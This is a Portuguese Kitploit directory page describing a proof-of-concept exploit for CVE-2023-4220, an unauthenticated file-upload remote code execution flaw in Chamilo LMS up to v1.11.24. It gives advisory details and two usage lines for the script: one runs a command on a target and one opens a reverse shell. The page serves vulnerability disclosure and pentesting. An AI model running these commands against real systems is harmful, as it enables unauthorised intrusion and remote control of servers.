Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2023-4226-POC — POC para CVE-2023-4220 - Chamilo LMS: Execução Remota de Código por Upload de Arquivo Grande Não Autenticado | Kitploit
Ferramentas/GitHubGitHub/krishnan-tech/cve-2023-4226-poc
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoFerramenta de Acesso Remoto
GitHubkrishnan-tech/cve-2023-4226-poc

CVE-2023-4226-POC

POC para CVE-2023-4220 - Chamilo LMS: Execução Remota de Código por Upload de Arquivo Grande Não Autenticado

Ver Repositório
111há 2 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2023-4220 POC

Mais sobre CVE-2023-4220: StarLabs Advisory

Resumo

ProdutoChamilo
FornecedorChamilo
SeveridadeAlta - Adversários podem explorar vulnerabilidades para obter execução remota de código não autenticada.
Versões Afetadas<= v1.11.24
Versões Testadasv1.11.24 (versão mais recente no momento da escrita)
Identificador CVECVE-2023-4220
Descrição CVEUpload de arquivo sem restrições na funcionalidade de upload de arquivos grandes em /main/inc/lib/javascript/bigupload/inc/bigUpload.php no Chamilo LMS <= v1.11.24 permite que atacantes não autenticados realizem ataques de cross-site scripting persistente e obtenham execução remota de código através do upload de web shell.
Classificação CWECWE-434: Upload de Arquivo sem Restrições com Tipo Perigoso
Classificação CAPECCAPEC-650: Upload de uma Web Shell para um Servidor Web

Prova de Conceito (PoC)

Executar Comandos Diretamente

Para executar comandos diretamente, use o seguinte comando:

python CVE-2023-4226.py -u http://<target_ip>:<target_port> -c whoami

Obter um Shell Reverso

Para obter um shell reverso, use o seguinte comando:

python CVE-2023-4226.py -u http://<target_ip>:<target_port> -lhost <local_ip> -lport <local_port>

Baixar ferramenta